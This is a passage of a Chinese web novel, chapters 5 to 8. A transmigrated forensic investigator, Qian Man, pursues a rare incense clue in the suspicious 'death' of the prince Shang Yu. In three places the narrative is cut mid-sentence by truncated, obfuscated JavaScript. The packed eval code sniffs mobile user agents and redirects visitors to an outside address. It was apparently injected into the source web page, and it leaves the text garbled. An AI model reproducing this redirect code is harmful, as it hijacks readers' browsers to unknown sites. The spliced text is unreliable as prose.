但所有的奇怪感觉就是那么一瞬间,钱满的身体很快恢复了正常,刀和异物并无异样,她不由得苦笑,大概是这段时间自己经历过于丰富,搞得有些精神分裂了。 说起来,自从穿越到现在,她还没有好好看看这大虞的风景,左右是出来了,就看看这街景吧。 四重门毗邻皇宫,北面的这条街便是通往皇宫的必经之路,街道宽敞,两边种满了高大的泡桐,此时正是桐花盛开的季节。 空气中甜腻的香气扑鼻而来……香气,钱满突然想到了什么,商钰的身体除了有那个冰冷异物,还有一股特殊的香气,莫非是凶手想着用气味来掩饰什么?或者说这香味就是祸首? 钱满不知不觉来到了街道对面,想着自己还没有吃饭,准备踅摸点吃的,抬头看到了一块招牌,上面写着“云深香坊”。 香? 香料? 钱满突然不饿了。 她的大脑开始高速运转着,这家香料店的位置斜对着四重门,假设那个神秘偷窥者逃逸的话,躲在这里必然是个好选择,再加上商钰身上那特殊的香味,这世上哪有那么多巧合? 所有的巧合都不过是处心积虑罢了。 任何事情只要发生,必然会留下痕迹! 钱满抬脚走进店门,却被拦住了。 “这位大姐,请出示你的门卡。” 5. 第 5 章 钱满以为自己听错了,这世界竟然还有门卡? 店员看到钱满发愣,眼神露出嫌弃,“不好意思这位大姐,我们这里没有门卡是不能进入的,当然你要是有钱的话也可以办张卡,最低的普通门卡每年一百两。” 钱满傻眼:这黑心商店,咋不去抢钱呢。 她这次出门匆忙,身上只有一些碎银子,看来要无功而返了,正当她准备离开,就听到里面传来一个熟悉的声音: “让她进来。” 这声音很是熟悉。 虽然听着嚣张跋扈,但比之前骂她的时候温柔了许多。 钱满进入店门,对上了商钰的目光,心里不愿面对,但眼睛又很诚实,看了一眼还想看,这男人真是个活脱脱的妖精,着实让人挪不开眼。 商钰穿着寻常小侍穿的青色衣袍,但身上的气质无法掩饰,尤其是脸上的面纱更是给他平添了几分神秘。 薄如蝉翼的面纱根本掩饰不住那张粉嫩俊俏的脸,腰身还那么妖娆,要是他不开口说话就好了。 钱满只觉得自己心跳有些加速,脑海闪过一些从未有过的荒诞念头,她很想用手指弄弄那小脸蛋,想必手感一定不错。 咳,咳咳! “钱满,看够了吗?” 商钰带着愠怒的声音打断了钱满的天马行空,她几乎一秒清醒过来,色令智昏果然不假,她竟然对死对头生出了非分只想! 他怎么会在这里? 莫非也查到了这香料店有猫腻? 商钰来到云深香坊,其实只是一个巧合。 一个时辰前。 花纹繁复的帷帐中,商钰披发子侧身而卧,他眉头微蹙,一脸心事的样子。 死而复生是件高兴的事情,但是商钰却一点儿高兴不起来。 这件事与他之前的预想完全不一样,把钱家牵涉进来已经是意料之外,更可气的是,钱满还趁机剖了他一刀! 自己都被她看光了! 看了那么久她眼神竟然毫无波澜! 不不,这不是重点。 钱满之前可是连刀都不会拿的人。 看着自己胸前的刀口,商钰就更加疑惑,这缝合刀口的手法很是奇怪,但又出奇平整,商钰手指抚摸上伤口,感觉已经没有大碍,甚至感觉不到疼痛。 他试着运气调息,之前已经修练至元道三层,突破了凝元境、炼元境,现在是通元境境界,一番调息之后,商钰能够清晰感觉到自己的身体状态比之前好太多。 这也是他百思不得其解的地方,莫非钱满那个憨货深藏不露? 商钰生来体弱,三岁才能走稳,经常会咳嗽、胸痛、呼吸困难甚至咳血,随着年龄的增长,他的这些症状也愈发明显,如果不是宋沐风以及太医院的一众人等给他调理,这条命恐怕早就玉殒了。 可是现在,他从未觉得自己的身体是如此舒坦,连大口吸进来的空气都变得香甜,他觉得自己仿佛得到了新生。 起初,商钰怀疑是不是这次意外“死亡”让自己提升了境界,但事实并非如此,他现在依然是通元境界,也就是说元道没有提升,身体却变好了,这种无中生有的事情实在是让费解。 除非……是钱满做了手脚。 但商钰很快否定了自己的猜测。 钱满是一个不折不扣的莽妇,胸无点墨,修道无为,简直一无是处,也就是那张脸勉强能看! 恍惚中,商钰的混沌的记忆似乎被掀开了一角,其实钱满的自制麻药效果并没有那么好。 在开胸的过程中,商钰之所以感觉不到疼痛,除了麻药的作用,很大一部分原因是她的元道修为发挥了保护作用,这也让她模模糊糊记得一些,他能感觉得到,动刀的人手法十分娴熟迅速,这样的能力,恐怕四重门也只有他师父能够做到。 他能感觉到有人在他的身体缝缝补补,好像还用刀子划开了他的心……商钰实在不敢相信在他身上动刀的是钱满,这些行为实在是和她不搭界。 在过去的几年,商钰曾经无数次地试探过钱满,事实证明她是个连刀都拿不稳的人,连参加四重门入门考试的资格都没有,她怎么可能懂得那些? 但诡异的是,他睁开眼睛看到的人确实是钱满。 思来想去,商钰实在是躺不住了,他想着找钱满问个究竟。 作为当今陛下最宠爱的小皇子,商钰居住的璇珂宫下人众多,但也给商钰溜出来制造了方便,人来人往的,谁也没注意到他已经和身边的小侍换了服饰。 商钰身边有两个贴身小侍,一个叫周乙,比他大几岁,性格温顺,从小一起长大的,另一个叫李琥,与他年纪相仿,功道颇深,算是护卫。 这一次被迫留下来假扮皇子的是李琥,商钰换上侍从的服饰之后,就和周乙一起出宫了。 原本想着直接到钱家找钱满,但又碍于身份不好直接去,商钰就让贴身小侍周乙去找,谁知得到的消息是这莽妇居然不在家,说是出来查案来了。 倒是挺积极。 商钰找人不成,又不想马上回宫,正好他惯用的熏香不多了,便想着来云深看看有没有新货色,原本这种小事用不到他亲力亲为,只是他实在无聊,就和周乙一起来到了云深香坊。 谁知找人找不到,这人却自己送上门了。 商钰有点儿好奇,钱满这个木头疙瘩怎么会到香料店来,莫不是她有了心仪之人开窍了? 不过刚刚她被人挡在门外那个样子还是和以前蠢笨,看到她这个样子商钰就生气,本来就一肚子疑问呢,岂能轻易放过她。 “钱满,如果你能给本公子把鞋面上的泥土擦干净,我就送你一张门卡。” 那一尘不染的鞋面,哪来的泥土,分明就是想着羞辱人。 这里的门卡最低级的也要一百两,钱满一个月俸一两的小杂役,就算是不吃不喝还得攒好几年呢,就算是她祖母家富裕又怎样,刘家是出了名的铁公鸡啊……瞧瞧她这一身灰扑扑的打扮,真是个小可怜呢。 钱满一时间被美色迷惑,怔楞了一会儿才反应过来,商钰挑衅的目光毫不掩饰,他甚至都已经做好了姿势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244882|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠然地坐在她面前,晃着一条修长的腿。 她可是刚刚救了他的命啊! 这个不知道感恩的小白眼狼! 这个门她非进不可吗? 大不了她回家拿钱啊! 她又不是没有钱,她爹可是首富之子,她这个富三代会缺一百两? “公子不必麻烦。”钱满笑着后退一步,“我不是很想要这张门卡,告辞。” 话一出口,钱满就有些后悔,这么说心里是痛快了,但是也耽误了查案的进度啊,她转身要走,故意把脚步放得很慢,期待着商钰能够叫住他。 不就是擦鞋? 提鞋也没有什么问题。 小祖宗,你快叫啊! 商钰到底年轻,听了钱满的话脸色一下子变了,白皙的脸庞变成了粉红,“钱大包,你给我站住,本公子让你走了吗!” 店内的厅堂因为商钰的到来清了场,但还是有店员和周乙在,几个店员躲在一边,大气不敢出,周乙应该是早就习惯了这种场面,面无表情地站在自家主子身后。 钱满很满意,很好,这正是她想要的结果。 只是——商钰刚才叫她什么?大宝? “那好吧,既然公子留我,那我不走了。” 钱满刚刚就察觉到了,这店里的香味很是熟悉,商钰又出现在这里,想必商钰身上那股香味与这里抛不开关系。 但商钰后面还有几个碍眼的,她冲着商钰眨眨眼,压低声音道“殿下,我这儿有线索。” 商钰带着钱满来到了内室。 “说吧,你要是说不出什么来,看我不打断你的腿!不,还要缝上你的嘴!” 钱满:“……” 她爹说的没错,七皇子果然是狠辣~ 钱满把包着异物的手帕放在了桌子上,室内光线相对阴暗,那异物透过手帕散发着微弱的淡蓝色光芒。 这个东西自从取出来之后,她就自己小心收着,就连自己家人也没有提及。 尽管对这里的世界还不是很了解,但钱满隐隐觉得这东西应该是让商钰“假死”之后保持躯体不腐的重要因素,如果不出意外的话,商钰应该在特定的时间醒来,但是又由于某种特殊的原因,商钰并没有醒过来。 其实,从七皇子一睁眼就骂她那一刻起,她心里就有了些怀疑,觉得这商钰的胆子未免太大了一些,经历过生死这样的大事好像是没事人一样,更奇怪的是他竟然认为自己要谋害他。 这里面有两点值得怀疑,一是商钰对“死亡”这件事不以为然,二是他认定有人要害他,所以……商钰这是要用“假死”来引出背后害他的人? 只不过,这小子运气不好,不但没有引出坏人,还被坏人敲了闷棍,如果不是自己在这个当口穿越过来,恐怕他早就一命呜呼了。 当然,这些都只是钱满的猜测,先看看他什么反应吧。 “殿下可识得此物?” 果然,商钰一看到手帕里的东西,脸色变得煞白。 “你……你手里怎么会有玄晶?” 6. 第 6 章 玄晶? 钱满对此一无所知,但从商钰的表情看,这东西与他非同一般。 商钰一把抢过手帕,语气激动,“这是我的东西,你,你,你这个小偷,还说你不想害我,你就是和他们一起的,你也是个坏人……你们都是坏人!” 钱满从这些语无伦次的话语中嗅到了一丝不寻常的意味,他们,也就是说商钰心里其实是有怀疑对象的?还以为自己和那些人是一伙的? 他也未必太看得起原主了。 商钰呼吸变得急促起来,白皙的脸憋得泛红,他伸手扯下了脸上的面纱,大口地喘着气,“……你这个坏人,坏人!” “殿下,”钱满深吸一口气,“你先别激动,我就是一个搬运尸体的小杂役,谁能和我一起啊,你好好想想,如果我真是和他们一起,我干嘛救你啊?你听话,跟我一起做,深呼吸,很好,再来一次,试试看,是不是比之前气息顺畅许多?” 商钰做了两个深呼吸,渐渐平息下来,他有些茫然地看着钱满,他现在确实感觉比之前好太多,这也是他最疑惑的地方。 “你到底做了什么?” 钱满没办法一一详说,只是简单解释道:“殿下的心脏异于常人,我给你调理了一下,以后少生气会更好——” “你以为我想生气啊!”商钰的声音明显没了底气,“还不是你整天气我~~” 这懊恼中带着撒娇意味的语气是怎么回事?钱满之前怀疑原主到底对商钰做过什么伤天害理之事,但看商钰现在表情又不太像。 钱满:“……” 钱满真是头大,但现在不是清算的时候。 “殿下!这个东西是谁给你的?”钱满指指手帕,“他是不是跟你说,这个东西可以保你性命无忧?” 商钰瞪大眼睛,半晌还是点了点头,但他又摇摇头,“不是他,不是他……玄晶只有元道修练到第八层境界天元境的人,才能从自身晶核分离出玄晶,这东西极其珍贵,大虞境内,达到天元境的人不超过十位,他要是想害我的话,大可不必这么麻烦。” “玄晶与自身的晶核存在感应,如果分离出的玄晶受损,原主也会受到反噬。这份玄晶原本应该与我体内的晶核结合的,只是……” 钱满大脑高度运转着,原来这世界还真的存在“修练”,不过不重要,重要的是这个给商钰玄晶的人,恐怕这人才是这幕后的提线之人。 这可怜的小崽儿,自己被人利用还不自知。 “只是,这人也没有料到,这世界上还存在对付玄晶的东西,但这人是不是太粗心了?他是真的没有发现,还是不愿意出手?按理说他那样的高手不至于看不出来吧?” 商钰的脸色更加苍白,“……你这是什么意思?” 钱满:“我的意思是,如果不是我一刀下去,你根本不会再醒来了!” 商钰眼睛含泪瞬间破防:“你胡说,你根本不懂!” 破防就对了,这样的话商钰必然会去找那人理论,她只需要等着看戏就好了。 - 告别商钰,钱满准备回家,折腾大半天,她着实有些疲惫,那颗所谓的玄晶已经还给了商钰,反正还有六天的时间,她决定先饱餐一顿睡个好觉再说。 一进家门,就听到院子里传来欢声笑语。 刘楚玉和一个头发半白的蓝衣男子并排坐在院子里的藤椅上,有说有笑,钱明月在一旁站着伺候,一双儿女在边上一边吃水果一边玩耍。 钱满呆呆地看着眼前的画面,着实不解:不是女尊男卑吗,她母亲这一脸不值钱的样子是怎么回事?她不是这家里的长女吗? 这“相亲相爱一家人”似乎和她没什么关系啊! 虽然自己只是个冒牌货,但这也对钱满造成了不小的冲击,她曾经也是父母捧在手心里长大的宝贝呢。 钱满在院门口站了半天,刘楚玉在后知后觉地看到了。 “……啊,小满回来了啊,快来,你祖父给你们带了好吃的。” 蓝衣男子缓缓起身,盯着钱满看了一会儿,满意点头,“嗯,有点儿人样了。” 钱满:“……祖父好。” 此刻钱满的记忆也跟着更新了,这位蓝衣男子便是刘楚玉的父亲张云帆,张云帆也是出身商贾大家,当年张刘两家的联姻可谓是强强联手珠联璧合。 这位张老爷子饱读诗书手段高明,比起刘楚玉、钱明月不知道要高出多少段位。 钱满突然有了主意。 她一脸笑容走了过去,“祖父,孙女有事想请教您。” 两人说话间来到了钱家的书房。 钱满闻着她祖父身上传来的香气,自然而然地就把话题扯到了香料上。 “要说到香料,你问我就对了。”张云帆笑眯眯地看着钱满,“阿满啊,你是不是相中了谁家公子?” 这从何说起啊! 钱满连连摇头,“不是,不是,祖父是这样的,孙女问这个是因为查案,七皇子一案还没有查明,我母亲的嫌疑还没有解脱,陛下给了七日的时限……” 张云帆长叹一声,“这个钱明月,穷就算了,人还是笨的,要不是当初……我可怜的孩子跟着受苦了,查案啊,这跟香料有何关系?” “我在案发地发现了一种特殊气味,这种味道同样出现在七皇子身上,这个味道和外面桐树的花香有些相似,但更加甜腻一些……好像还融合了其他的花香——” “槐花,杏花,梨花,桃花,海棠,桂花。”张云帆打断了钱满,“这香料一共是七种花香,都是寻常普通的味道,但这种香料持续时间很长,只需要点点,就能维持三四天,如果我没猜错的话,你说的应该就是这种七蕊凝烟。” “这七蕊凝烟十分昂贵,虽然原材料都是寻常之物,但据说熬制过程十分复杂,更重要的是这里面还需要元道高层阶人晶核的加持,可以说是可遇不可求……”张云帆脸色有些凝重,“京都只有一家店售卖,云深香坊,但是售卖时间不定,价格不定,不管是谁,能不能买到,全凭运气。” 好牛的店家,这可真是店大欺客。 “据说这七蕊凝烟不仅能够增香,还能让使用之人身体强健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钱满回头一看,是个十五六岁的小丫头,扎着双鬟髻,一双大眼睛咕噜咕噜转着,看着很是机灵。 她之前一直没注意钱家有几个下人,但想到刘楚玉那个十指不沾阳春水的样子,估计是不可能自己干活的。 钱满发现了,只要有新人物跟她说话,她脑海中的记忆也会随着更新,眼前的小丫头叫冬阳,在她家里主要是干杂活,两年前来到钱家的。 虽然没有热水器,洗漱过程简单潦草,但好在还有个小丫头伺候着,这种感觉也不错。 终于躺到了松软温暖的床铺,钱满舒服得叹息,纷纷扰扰的思绪也开始沉淀,留给她的时间不多,又是孤军奋战,她必须找一个“战友”才行。 可她初来乍到,原主又是一个纨绔子,又有谁愿意帮她呢?至于钱家人,她现在也看出来了,母亲是个谨慎古板又没有多大本事的,父亲更是指望不上,祖父倒是个见多识广的,但刘楚玉毕竟都已经出嫁二十多年了,还有多少情分可不敢说。 四重门和审理司更不用说了,那些都是成了精的老狐狸,都等着看好戏呢。 思来想去也只有一个人是可以联合的了。 7. 第 7 章 再次来到云深香坊,钱满这一次准备充分。 不就是区区几百两银子,她潇洒地把银票甩了过去。 “叫你们主事的过来!” 刘楚玉得知钱满查案需要花费,就给了她权限,她现在有一千两银子的支取权限,虽然这五百里甩出去着实肉疼,但舍不得孩子套不到狼。 店员一看,这是大客户啊,赶紧叫了掌柜过来。 约莫三十出头的男子,一袭水蓝色春衫,盘着簪花发髻,脂粉半施,眉眼淡淡,一张脸笑得开了花,“哎呦,这位小主快快里面请!” 有钱能使鬼推磨,还真是一点儿不假。 钱满不动声色地拉住了掌柜的衣袖,又悄悄给他单独塞给他一锭银子,“掌柜的,你给我介绍介绍你们的香料吧。” 掌柜的也是见过世面的,店里时不时地会来一些喜好特殊的主子,专门找那些有特殊功效的香料。 他记得昨儿个七皇子招呼了这位,两人还在房间密谈了许久,昨天还是一副穷酸样,今天衣着光鲜出手就是五百两,那肯定是攀上了七皇子这高枝了。 这世界虽然以女子为尊,但吃软饭的也大有人在,更何况这小主子长得比男子还要别致,是个吃软饭的好料子。 这必然是来寻找特殊香料来讨七皇子欢心了。 “小主请随我来,”掌柜笑着把钱满引上了二楼的一个包间。 一进包间,钱满就忍不住打了好几个喷嚏,这屋子里气味浓重,通风又差,差点儿给她熏晕了。 “你们这都什么乱七八糟的!”钱满捂着鼻子做出一脸嫌弃状,“姐姐我又不缺钱,给我拿最好的香料来。” 钱满一副暴发户的神态让掌柜很满意,他笑着说:“小主不要着急,马上就来。” 不大一会儿,又有几个白衣小侍拿着托盘来到了钱满面前,每个人的托盘中都有一个精致的瓷瓶。 这架势,赶上宫廷选秀了。 钱满此刻权当自己是一只警犬,只是这鼻子都快麻木了也没有闻到“七蕊凝烟”,她顿时变了脸色,冷言道:“掌柜的,你们就是这么做生意的?” 掌柜依然陪着笑脸,“小主这是怎么说的,你面前的这些可都是店里上好的香料,保证用了之后,你们二位能够和和美美……” “甭说废话!”钱满打断他,“把最好的拿出来,怎么,我的银子不是真的?” 说完,钱满又把一把银票甩在了桌子上,其实她心里也打鼓呢,这可是底牌了。 掌柜脸色变了变,挥手让那几个小侍离开,谨慎地关闭了房门,才说:“还请小主明示,您到底需要什么?” 既然话说到这里了,那就没有退路了。 “掌柜的,这店里的事情你可说了算?” “这个……不知道小主说的是什么事,日常事务归我来管,遇到大事自然还有主事抉择。” 那就够了,这样的“中层干部”最好拿捏。 钱满笑了笑,压低了声音,“我是听说店里最近有紧俏货,给我弄点儿七蕊凝烟,银子不是问题,今天这些就算是定金。” “不行,不行!”掌柜的脸色一下子变了,“店里没有这个,小主,您还是收好银子,请回吧。” 掌柜的这个反应早在钱满意料之中,还好她来之前略微做了一点儿功课。 “薛掌柜是吧?你在这店里一个月的俸银是五两,一年不过六十两,刨去日常开销和贴补不争气的妹妹几乎所剩无几……如果你能帮我,这五百两就是你的了。” 五百两,薛清就是二十年也赞不了这么银子。 关键是,如果真的有了这五百两,他就能摆脱家里,找个没人的地方自己安生过日子。 薛清思虑了片刻,点头应允:“好,小主是爽快人,但是现在店里确实没有七蕊凝烟。” 钱满这下傻眼了,难不成自己的银子要打水漂了?她正想着把桌子上的银票拿回来,就见薛清快她一步拿起了银票。 “不过,明天下午会到货。”薛清压低了声音,“到时候,宫里的贵主会来取货,我给你匀出一份来。” 搞定了香料店这边,钱满隐隐觉得这背后之人就快浮出水面了。 当务之急,她还要跟商钰通下气,不管他是自导自演还是被人利用,这事都需要他配合,薛清说明天宫里的贵人要来拿七蕊凝烟,如果这个贵人和商钰不是一伙的,那就有好戏看了。 不过,也有可能自己是空欢喜一场,不能把宝都压在这一处,还得想想别的办法才好,解铃还须系铃人,到底还要找商钰再问问当时的细节。 只是,一想到商钰那张嘴,钱满不由得头疼,也不知道原主和这小祖宗有什么深仇大恨,自己即便是一句话不说,都能让这小主子火冒三丈,按理说不应该。 别的不说,钱满对于自己的容貌还是有自信的。 之前因为职业的原因,她无暇打扮,上班制服,下班家居服,一年到头灰扑扑的,纵然有上天赋予的天人仙姿也被掩盖了,最多就是别人调侃说一句“警花”。 现在来到了这里,她成了二十岁的年纪,容颜更是提升了不止一个档次,刚刚那掌柜看着她的目光她是能够感觉出来的,即便是她现在是一身布衣,也是出类拔萃的。 莫非这七皇子是个脸盲? “喵呜!” 钱满胡思乱想之际,冷不丁地背后传来一声猫叫,这声吼叫尖锐刺耳,钱满霎时间只觉得耳鸣了一瞬间。 她顿住脚步,猛然回头,陡然与一只黑猫四目相对。 “喵!” 黑猫又凶巴巴地叫了一声。 一身乌黑的皮毛溜光水滑,暗绿色的眼睛冒着凶光,仿佛钱满是个凶手。 这眼神十分熟悉,记忆扑面而来,怔愣两秒,钱满终于反应过来,这猫大概率是个旧相识,这不就是她救治那只卡鱼刺的黑猫? 它的眼睛上面各有一撮白毛,看上去就像是两朵小白花。 没错,就是那只叫做“花妮”的黑猫! 好得很,一人,一刀,还有一只猫。 在这个陌生的世界,我也算不孤单了。 然而下一秒,钱满只觉得眼前一道黑影闪过,紧接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱满:“我的意思是,这只猫,是我的,七公子,你那里养猫多有不便,还是交给我吧,我保证你随时都可以来找他玩……” “喵~~” 黑猫突然叫了一声,又看看两人,蹭地一下跑到钱满腿边了。 商钰:“……钱满的猫,果然和钱满一样讨厌!” 钱满抱着黑猫没有反驳,猫的问题解决了,该说说正事了。 大街上人来人往,自然不是说话的地方,两人还算是心里灵犀,钱满还没说话,商钰已经挥手叫来了一辆马车。 “上车。” 钱满跟了上了马车,还没坐稳,马车边飞驰起来,好在街道宽敞,行人不多,但她也着实捏了一把汗,这商钰怎么一点儿男子的矜持都没有呢? 也是,人家再怎么卑也是万人之上的主子,在这个皇权至上的世界,自己在他面前可能连蝼蚁都不如。 “你这是什么表情!”商钰一脸不悦,“你怎么都不看我?本宫很难看吗?” 8. 第 8 章 商钰的语气愤怒中带着几分娇气,他气的是,现在马车里又没有旁人,钱满这一副目不斜视的样子装给谁看呢? 以前的钱满虽然榆木一般不开窍,但只要在一起,眼睛可都是围着自己转的,现在她摆出一副不熟的样子给谁看呢! 商钰两只拳头都攥紧了,但转念一想又忍住了,马车太小,根本施展不开拳脚,再说钱满怀里还抱着那只黑猫呢。 打钱满是小事,万一伤到了猫呢。 他好不容易遇到一个看着顺眼的小东西。 不知道为什么,看到这只猫的第一眼,商钰就觉得熟悉,这种熟悉感因何而来他自己也不清楚,后来这黑猫就一直跟着他,虽然不与他亲近,倒也不咬人,看起来不太机灵的样子,像极了某人。 其实,商钰把钱满带出来还有一个目的,他就想验证一下自己心里的疑惑。 “说话啊?钱满,你哑巴了?” 钱满闭了闭眼睛,这话要她怎么接? 通过这几天的基本接触,她也大概了解了,这个商钰和原主之间的相处可以说是亦敌亦友,上下级概念比较模糊,但人家毕竟是皇子啊,万一发飙自己小命难保。 再说了,她原本不属于这个世界,还是不要有多余的感情纠葛,更何况又是皇子又是死对头的,想想都觉得头疼。 如果不是这张俊脸让她无法拒绝,她是断然不会上商钰的马车。 不管怎样,钱满觉得自己还是应该以礼相待。 “……不是,不是,殿下刚刚还说讨厌我,小的不敢对殿下无礼。” 商钰的眼神中闪过一丝惊讶,从他醒过来之后,就有一种奇怪的感觉,就觉得钱满哪儿不一样了,但要说到底是哪儿不一样,他又没有头绪,就像是现在,要放在以前,钱满必然会怼他。 说他萝卜脑袋死鱼眼睛。 虽然他贵为皇子,但两人吵闹了那么多年,私下里的相处模式比较随意,商钰也只是在生气的时候自称本宫,之前哪一次两人不是硝烟滚滚? 可是现在,钱满竟然说她不敢对自己无礼? 商钰觉得真是活见鬼了。 这人怎么突然之间变得有礼起来了? 商钰大眼睛在钱满身上来回打量,企图找出破绽来,钱满躲无可躲只好无奈地冲他眨了下眼,她实在不敢多说什么,但看着商钰伸过来的手,她终于还是忍不住了,在对方要捏住她脸庞前捉住了商钰的手腕。 怀里的黑猫趁机逃窜,从飞驰的马车上跳了出去。 “……”没能得逞的商钰恼羞成怒,“钱满,你弄疼我了。云云逃走了,你赔我……” 但商钰很快说不出话来了,紧接着脸色变得绯红,呼吸也变得急促起来。 钱满没说话,也没松手,她早就听她母亲说了,这七皇子不过是看着羸弱,其实元道已经修炼到第三重,大虞第一高手宋沐风的亲传弟子,功力又能差到哪儿去? 但他现在这幅柔弱的样子,似乎不像是装的……莫非心脏出了什么问题? 不对,这个样子很像是过度呼吸综合症。 钱满眉头皱了一下,扶着商钰靠在了自己身上,用手捂住了他的口鼻,“吸气,慢慢呼气,很好,再来一次……” 商钰在钱满的引导下做了几个缓慢深呼吸,奇迹般地平静下来,他眼神有些茫然地看着钱满,越发觉得不对劲。 商钰猛地推了钱满一把,车厢空间狭窄,钱满的脑袋撞到了车厢,发出一声沉闷的声响。 “钱满,你抱我做什么!”商钰满脸通红,“你还捂我的脸,你……你根本没洗手!” 钱满摸了摸脑袋,看看自己的手,无奈道:“殿下,我出门前洗干净的!” 商钰气呼呼地把头扭到了一边,心里早已经是惊涛骇浪。 以前的钱满虽然嘴贱人笨,但其实是个胆小鬼,现在这一个可是个有主意的,竟然敢……对他动手动脚了,商钰觉得自己的心脏跳动得有点儿快。 其实,商钰的手一点儿不脏,也没有异味,干燥温暖的触感让他觉得很舒服。 商钰微闭着眼睛琢磨事儿,觉得这样其实也不错,管她是真是假,反正他也只是看那张脸顺眼。 钱满看着那个有些单薄的背影若有所思,通过这几次打交道钱满也总结出规律了,这商钰看着是嘴巴不饶人,其实也就是个小孩……毕竟也才十七岁,相比之下自己原来也有近三十年的人生阅历,对付这种小屁孩,还不是手到擒来。 马车飞驰了近半个时辰,终于减了速,停在了一个农家院内。 钱满捂着胸口下了马车,她是真没想到,她不晕汽车火车飞机轮船却受不了这马车。一阵天旋地转,钱满到底是没忍住,蹲在地上吐了个天昏地暗。 等到她把胃里的东西吐干净,就看到眼前一道黑影闪过,紧接着就觉得肩头一重,还没反应过来是怎么回事,后脑勺就挨了一通猫猫无影拳。 那里刚刚在马车上撞过,黑猫又是用尽全力,打得钱满脑袋有些晕,商钰被逗得哈哈大笑。 “云云,干得好!” 钱满真没想到自己有一天会被一个长毛的畜生欺负,她伸手捏住了黑猫的脖颈子,黑猫顿时消了气势,四脚离地变成了可怜巴巴的一团。 “你这个小叛徒是不是活腻了?” 黑猫四只爪子吊着,叽里咕噜地喵呜着,眼神一点儿没有服输的样子,钱满倒是从它眼神中看出了几分嫌弃,和一旁捏着鼻子的商钰相映成趣。 钱满在心里默默吐槽:商钰真是这猫的亲爹。 马车妇是个三十多岁的壮实妇人,给钱满拿来一瓢水,她漱了口,灌了一肚子凉水,这才感觉心肝肺都归了位。 商钰紧皱眉头,心里的疑虑消退了大半。 这个钱满应该是真的,这人徒长了一身力气,就是坐不得马车。 商钰的眼神有些飘忽,想起好多年前的一件小事,那时候钱满还是个圆脸蛋的小可爱,而他也只有六岁。 两人约好去郊外赏花,钱满为了陪着商钰一起坐马车,从前一天晚上就不干吃饭,连喝水都是一小口一小口的抿着。 其实早就饿得前胸贴后背了,还死要面子,“小钰,你看我只要不吃饭就没事了,我一点儿都不饿……” 咕噜咕噜。 这个说自己不点儿都不饿的人,肚子的响声却很大。 商钰被逗得哈哈大笑,笑着笑着就要哭了,他从自己怀里掏出一个白色的帕子,小心翼翼地打开,里面是一块已经碎了的豌豆糕。 “给你吃!”商钰举着手帕送到了钱满的嘴边。 小钱满馋得舔了舔嘴唇,但还是极力忍着,她知道这个住在她祖父家里的小弟弟是个爱干净的,自己绝对不能吐,所以不能吃东西,反正只有一天,她不会饿死的。 商钰还记得,那个圆脸蛋的小钱满很有骨气,明明很想吃却忍住了。 但是现在这个长大后的钱满就一点儿不可爱了,看看地上那一滩,真是没少吃呢。 “……不好意思,今天吃多了。” 商钰嫌弃:“咋不撑死你!” 两人说话间往屋里走,钱满四处看了看,记忆力没有任何印象,想必自己应该没有来过这里。 简陋的小院子,只有三间正房和外面一处东厢房,土墙,茅草屋顶,窗户很小,门板已经破旧不堪。 怎么看都不像是商钰会来的地方。 进到正房里面,钱满不由得眼前一亮。 这房子还真是败絮其外金玉其中啊! 屋内打扫得十分整洁,青砖铺地,中间堂屋设置了两口地锅,应该是烧炕用的,虽然是土墙,但里面贴了墙纸,看起来很温馨。 两人来到东屋,外面阳光洒进来,再加上炕也是温热的,钱满就觉得有些热了。 商钰脱了外面的长衫,一点儿也不避讳钱满这个女子,似乎两人早就习惯了这么相处。 直到看着商钰脱鞋上了炕,钱满有些犹豫,觉得自己不该太过于无礼,虽然她也想体验一下热乎乎的火炕。 “你还愣着干什么!”商钰瞪眼,“难道还等着本宫抱你上来啊!” 钱满:“……那倒不用。” “赶紧滚上来!”商钰催促,“说吧,你是不是有什么新发现?” 钱满规规矩矩地坐在了商钰对面,但再怎么保持距离,这房间只有不足十平方,两人的距离不足两尺,彼此的气息都听得清楚。 钱满只觉得自己内心的某处神经在摇摆,刚刚还信誓旦旦劝说自己不要有多余感情纠葛的人,此刻觉得自己刚刚的判断有误,如果与自己发生感情纠葛人,有着商钰这般容颜,那她也不亏啊! 在来这之前,钱满在情感上一直比较迟钝,在恋爱这个问题上,她一直没有找到法门,有过两段所谓的恋爱经历,最终都因为对方忍受不了她约会的时候常常说起尸体无疾而终。 男人,果然是需要保护的小动物。 就像对面这位。 白里透着粉润脸庞还带着婴儿肥,看上去就很好摸……钱满忍不住咽了口唾沫,骂自己色令智昏。 空气有些静默,但也有些不寻常,商钰身上散发出来的淡淡气息很好闻,让钱满想起自己曾经爱吃的一种食物:奶黄包。 钱满深吸一口气,问道:“……殿下,你今天没用香料吗?” 商钰脸倏地就红了,“钱满,你,你个登徒女,本宫用不用香料要你管!” “我不是要管。”钱满无奈,“你出事那天可用了一种叫七蕊凝烟的香料?” 这下轮到商钰吃惊了,“我倒是听父君说起过这种香料,但是我从小身体不好,没有用过任何香料。” 这就说得通了。 钱满就把自己的发现给商钰说了,只见商钰的脸色渐渐变得凝重,他似乎是做了一个决定。 “钱满,就依你所说,明天一起去云深。” - 钱满一个人出去一天,回来的时候带回来一只猫。 